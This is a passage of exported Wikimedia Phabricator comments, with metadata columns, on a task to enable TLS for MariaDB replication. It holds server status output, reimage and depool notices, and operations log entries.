db2068.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2029.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3317: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
dbstore1002.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
db1028.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1033.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1034.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1039.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1062.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1079.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1086.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1094.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1041.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
dbstore2001.codfw.wmnet 3306:            Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
dbstore2002.codfw.wmnet 3306:            Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
db2033.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
dbstore1001.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
dbstore1002.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
db1029.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1031.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
```
",,,1486653690,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,84,True,2.0,0.0,0.0,2.0,4.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,5.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,9.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7272727272727273,"All core servers/server with core data now support TLS connections and use it for replication (except labs- the new server suport it, but are not accesible remotely for security, and the old ones, to be decommissioned, do not support it ):

``CODE`CODE`CODE``
"
806514,Set up TLS for MariaDB replication,"Completed auto-reimage of hosts:
```
['db2040.codfw.wmnet']
```

and were **ALL** successful.

",,,1486648630,,PHID-USER-gzxwjo5i7iwtojwoibwt,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7916666666666665,0.7083333333333334,"Completed auto-reimage of hosts:
``CODE``

and were **ALL** successful.

"
806451,Set up TLS for MariaDB replication,"Script wmf_auto_reimage was launched by jynus on neodymium.eqiad.wmnet for hosts:
```
['db2040.codfw.wmnet']
```
The log can be found in `/var/log/wmf-auto-reimage/201702091223_jynus_7278.log`.",,,1486643024,,PHID-USER-gzxwjo5i7iwtojwoibwt,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.148148148148148,0.8148148148148148,"Script wmf_auto_reimage was launched by jynus on neodymium.eqiad.wmnet for hosts:
``CODE`CODE/var/log/wmf-auto-reimage/201702091223_jynus_7278.log`."
806407,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoid8doQMK9DA-FJ_gt} [2017-02-09T10:42:39Z] <jynus> preparing to reimage db2040 T111654",,,1486636960,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,3.4722222222222223,0.8611111111111112,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-09T10:42:39Z] <jynus> preparing to reimage db2040 T111654"
806403,Set up TLS for MariaDB replication,"Change 336774 merged by jenkins-bot:
mariadb: Depool db2040 for maintenance

[[https://gerrit.wikimedia.org/r/336774]]",,,1486636568,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.9523809523809526,0.8571428571428571,"Change 336774 merged by jenkins-bot:
mariadb: Depool db2040 for maintenance

[[GERRIT_URL]]"
806397,Set up TLS for MariaDB replication,"Change 336774 had a related patch set uploaded (by Jcrespo):
mariadb: Depool db2040 for maintenance

[[https://gerrit.wikimedia.org/r/336774]]
",,,1486636153,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.9615384615384617,0.8846153846153846,"Change 336774 had a related patch set uploaded (by Jcrespo):
mariadb: Depool db2040 for maintenance

[[GERRIT_URL]]
"
806396,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoiaWnAHQCSeVEJfJkm} [2017-02-09T10:26:58Z] <marostegui@tin> Synchronized wmf-config/db-eqiad.php: Repool db1034 - T111654 (duration: 00m 41s)",,,1486636018,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,2.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.450980392156863,0.7843137254901961,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-09T10:26:58Z] <marostegui@tin> Synchronized wmf-config/db-eqiad.php: Repool db1034 - T111654 (duration: 00m 41s)"
806379,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoiPXDhHQCSeVEJfJjz} [2017-02-09T09:38:56Z] <jynus> upgrading and restarting db1034 T111654",,,1486633136,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,3.5833333333333335,0.8611111111111112,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-09T09:38:56Z] <jynus> upgrading and restarting db1034 T111654"
806365,Set up TLS for MariaDB replication,"Change 336661 merged by jenkins-bot:
mariadb: Depool db1034 for maintenance

[[https://gerrit.wikimedia.org/r/336661]]",,,1486632282,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.9523809523809526,0.8571428571428571,"Change 336661 merged by jenkins-bot:
mariadb: Depool db1034 for maintenance

[[GERRIT_URL]]"
805939,Set up TLS for MariaDB replication,"db1034 is left, pending of the reimage marked above^.

Of the non core hosts, only the following are left (all to be decommed, marking only as such the ones that already have replacements):

db1020.eqiad.wmnet: NULL - **m2 master**
db1009.eqiad.wmnet: NULL - **m5 master**
db1001.eqiad.wmnet: NULL - **m1 slave**
labsdb1001.eqiad.wmnet: NULL - **to be decommed**
labsdb1003.eqiad.wmnet: NULL - **to be decommed**
db1016.eqiad.wmnet: NULL - **m1 master**
db1069.eqiad.wmnet: NULL - **to be decommed**
",,,1486580955,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,83,True,0.5,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.5,4.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,9.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,4.0,5.5,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.5,17.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,3.65,0.4833333333333333,"db1034 is left, pending of the reimage marked above^.

Of the non core hosts, only the following are left (all to be decommed, marking only as such the ones that already have replacements):

db1020.eqiad.wmnet: NULL - **m2 master**
db1009.eqiad.wmnet: NULL - **m5 master**
db1001.eqiad.wmnet: NULL - **m1 slave**
labsdb1001.eqiad.wmnet: NULL - **to be decommed**
labsdb1003.eqiad.wmnet: NULL - **to be decommed**
db1016.eqiad.wmnet: NULL - **m1 master**
db1069.eqiad.wmnet: NULL - **to be decommed**
"
805936,Set up TLS for MariaDB replication,"db1034 is left, pending of the reimage marked above^.

Of the non core hosts, only the following are left:

db1020.eqiad.wmnet: NULL - **m2 master**
db1009.eqiad.wmnet: NULL - **m5 master**
db1001.eqiad.wmnet: NULL - **m1 slave**
labsdb1001.eqiad.wmnet: NULL - **to be decommed**
labsdb1003.eqiad.wmnet: NULL - **to be decommed**
db1016.eqiad.wmnet: NULL - **m1 master**
db1069.eqiad.wmnet: NULL - **to be decommed**
",,,1486580864,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,83,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,4.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,4.0,6.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,17.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.548076923076923,0.4230769230769231,"db1034 is left, pending of the reimage marked above^.

Of the non core hosts, only the following are left:

db1020.eqiad.wmnet: NULL - **m2 master**
db1009.eqiad.wmnet: NULL - **m5 master**
db1001.eqiad.wmnet: NULL - **m1 slave**
labsdb1001.eqiad.wmnet: NULL - **to be decommed**
labsdb1003.eqiad.wmnet: NULL - **to be decommed**
db1016.eqiad.wmnet: NULL - **m1 master**
db1069.eqiad.wmnet: NULL - **to be decommed**
"
805924,Set up TLS for MariaDB replication,"Change 336661 had a related patch set uploaded (by Jcrespo):
mariadb: Depool db1034 for maintenance

[[https://gerrit.wikimedia.org/r/336661]]
",,,1486580236,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.9615384615384617,0.8846153846153846,"Change 336661 had a related patch set uploaded (by Jcrespo):
mariadb: Depool db1034 for maintenance

[[GERRIT_URL]]
"
805867,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoe4_tslCyyDMEPvJYe} [2017-02-08T18:02:21Z] <jynus> upgrading and restarting db2057 T111654",,,1486576942,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,3.5833333333333335,0.8611111111111112,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-08T18:02:21Z] <jynus> upgrading and restarting db2057 T111654"
805844,Set up TLS for MariaDB replication,"Change 336644 merged by jenkins-bot:
mariadb: Depool db2057 for mariadb upgrade

[[https://gerrit.wikimedia.org/r/336644]]",,,1486575825,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.909090909090909,0.8181818181818182,"Change 336644 merged by jenkins-bot:
mariadb: Depool db2057 for mariadb upgrade

[[GERRIT_URL]]"
805826,Set up TLS for MariaDB replication,">>! In T111654#3009760, @jcrespo wrote:
> TLS is now deployed on all core servers:

Congratulations, that was a massive and tedious effort.",,,1486574738,,PHID-USER-2qjlvo4lpgqvny5yo3ic,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,83,True,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,21.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.357142857142857,0.9285714285714286,"QUOTE
QUOTE

Congratulations, that was a massive and tedious effort."
805824,Set up TLS for MariaDB replication,"Change 336644 had a related patch set uploaded (by Jcrespo):
mariadb: Depool db2057 for mariadb upgrade

[[https://gerrit.wikimedia.org/r/336644]]
",,,1486574636,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.925925925925926,0.8518518518518519,"Change 336644 had a related patch set uploaded (by Jcrespo):
mariadb: Depool db2057 for mariadb upgrade

[[GERRIT_URL]]
"
805805,Set up TLS for MariaDB replication,"Enabled everywhere except on db1034 and db2057, which probably require a package upgrade.

```

$ sudo salt --output=txt -C 'G@cluster:mysql and G@mysql_group:core' cmd.run 'mysql --skip-ssl -e ""SHOW SLAVE STATUS\G"" | grep Master_SSL_Allowed'
db1040.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1037.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1077.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1084.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1045.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1078.eqiad.wmnet:            Master_SSL_Allowed: Yes
es2018.codfw.wmnet:            Master_SSL_Allowed: Yes
db1094.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2037.codfw.wmnet:            Master_SSL_Allowed: Yes
db1036.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1083.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2048.codfw.wmnet:            Master_SSL_Allowed: Yes
db2046.codfw.wmnet:            Master_SSL_Allowed: Yes
db2069.codfw.wmnet:            Master_SSL_Allowed: Yes
db1072.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1051.eqiad.wmnet:            Master_SSL_Allowed: Yes
es2019.codfw.wmnet:            Master_SSL_Allowed: Yes
db1056.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1071.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1091.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1029.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1052.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1031.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1068.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1050.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1082.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1055.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2065.codfw.wmnet:            Master_SSL_Allowed: Yes
db2044.codfw.wmnet:            Master_SSL_Allowed: Yes
db1076.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1092.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1061.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1059.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2060.codfw.wmnet:            Master_SSL_Allowed: Yes
db2053.codfw.wmnet:            Master_SSL_Allowed: Yes
db1086.eqiad.wmnet:            Master_SSL_Allowed: Yes
es1017.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2070.codfw.wmnet:            Master_SSL_Allowed: Yes
db2040.codfw.wmnet:            Master_SSL_Allowed: Yes
db2055.codfw.wmnet:            Master_SSL_Allowed: Yes
db2063.codfw.wmnet:            Master_SSL_Allowed: Yes
db2023.codfw.wmnet:            Master_SSL_Allowed: Yes
db2059.codfw.wmnet:            Master_SSL_Allowed: Yes
db1018.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1074.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2061.codfw.wmnet:            Master_SSL_Allowed: Yes
db1060.eqiad.wmnet:            Master_SSL_Allowed: Yes
es2014.codfw.wmnet:            Master_SSL_Allowed: Yes
db1067.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2051.codfw.wmnet:            Master_SSL_Allowed: Yes
db1026.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2047.codfw.wmnet:            Master_SSL_Allowed: Yes
db1028.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1034.eqiad.wmnet:            Master_SSL_Allowed: No
db1015.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2064.codfw.wmnet:            Master_SSL_Allowed: Yes
db2054.codfw.wmnet:            Master_SSL_Allowed: Yes
db2019.codfw.wmnet:            Master_SSL_Allowed: Yes
db1030.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1088.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1038.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1063.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1080.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1049.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1053.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1079.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1089.eqiad.wmnet:            Master_SSL_Allowed: Yes
db2067.codfw.wmnet:            Master_SSL_Allowed: Yes
db1064.eqiad.wmnet:            Master_SSL_Allowed: Yes
db1073.eqiad.wmnet:            Master_SSL_Allowed: Yes
